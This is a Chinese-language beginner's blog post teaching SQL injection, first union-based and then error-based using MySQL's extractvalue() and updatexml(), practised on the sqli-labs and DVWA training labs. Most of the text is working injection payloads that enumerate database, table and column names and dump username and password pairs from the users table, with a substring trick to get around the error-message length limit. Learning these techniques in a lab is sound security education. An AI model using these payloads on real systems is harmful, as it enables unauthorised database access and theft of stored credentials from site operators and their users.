小白报错注入学习(以extractvalue函数报错为例)

  1. 复习联合注入

判断字符型/数字型

数字型注入

or 1=1——回复正常,与原始页面无差别

and 1=2——回复正常,与原始页面有差别

字符型注入

and 1=1 --+    回显正常

and 1=2 --+    回显异常

判断字段数

Order by

判断显错位

1 union select 1,2

爆库名:

1' union select 1,database() #

爆表名:

1' union select 1,

group_concat(table_name) 

//使用`GROUP_CONCAT(table_name)`将表名连接为一个字符串,并使用逗号作为分隔符。

from information_schema.tables`information_schema`

是MySQL提供的一个系统数据库,其中包含有关数据库和表的元数据信息。

where table_schema=database()#

爆字段名

1' union select 1,group_concat(column_name)

from information_schema.columns

where table_name='users' and table_schema='dvwa'#

1' union select group_concat(user),group_concat(password) from users#

2.什么是报错注入?extractvalue报错注入又是什么?

Less5:?id=1' union select 1,2,databaae() --+

从 mysql5.1.5 开始提供两个 XML 查询和修改的函数,extractvalue 和 updatexml

extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容

updatexml 则负责修改查询到的内容:

3.报错注入会用到什么函数?

updatexml()与extractvalue()

updatexml (A, B, C)

A:String 格式,XML 文档对象的名称

B:XPath_string (Xpath格式的字符串)

C:String 格式,替换查找到的符合条件的数据

extractvalue(A,B)

A:string格式,为xml文档对象的名称

B:Xpath_string是xpath格式的字符串

  

4.报错注入payload

如上所知extractvalue(A,B)中函数B是要属于xpath格式的字符串,`  ~  $  #

利用这点,构造payload

payload:

id=1'and(select extractvalue("anything",concat('~',(select语句))))

5.漏洞利用流程(sqllib靶场Less_5)

拿到注入点:

  1. 先分析是 字符型/数字型

数字型注入

or 1=1——回复正常,与原始页面无差别

and 1=2——回复正常,与原始页面有差别

字符型注入

and 1=1 --+    回显正常

and 1=2 --+    回显异常

  1. 判断列数

1' order by 1 --+

  1. 构造payload

?id=1' union select extractvalue (1,concat(0x7e,(SQL语句)))  --+

爆库名

?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select database())))  --+

爆表名

?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))  --+

爆字段名

?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))  --+

?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))  --+

查询内容

?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(username,'-',password) from security.users)))  --+

截取内容 

?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select substring(group_concat(username,'-',password),1,30) from security.users)))  --+

因为一次报错的内容限制32个字符,所以我们用substring截取

Substring(A,B,C)函数

A:参数字符串

B:开始截取的位置

C:截取长度

6.知道extractvalue()懂updatexml()

extractvalue(A,B)

A:string格式,为xml文档对象的名称

B:Xpath_string是xpath格式的字符串

updatexml (A, B, C)

A:String 格式,XML 文档对象的名称

B:XPath_string (Xpath格式的字符串)

C:String 格式,替换查找到的符合条件的数据

Payload:updatexml(anything,concat(~,(SQL语句 )),anything)

LESS-1

updatexml()

爆库名

' and(select updatexml(1,concat(0x7e,(select database())),0x7e))--+

如果要等效为联合注入的格式的话,是这样子:1 union select 1,2,(updatexml(1,concat(0x7e,(select database())),0x7e))--+

爆表名:

' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

爆列名:

' and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))--+

爆数据:

' and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))--

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Flyhha

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值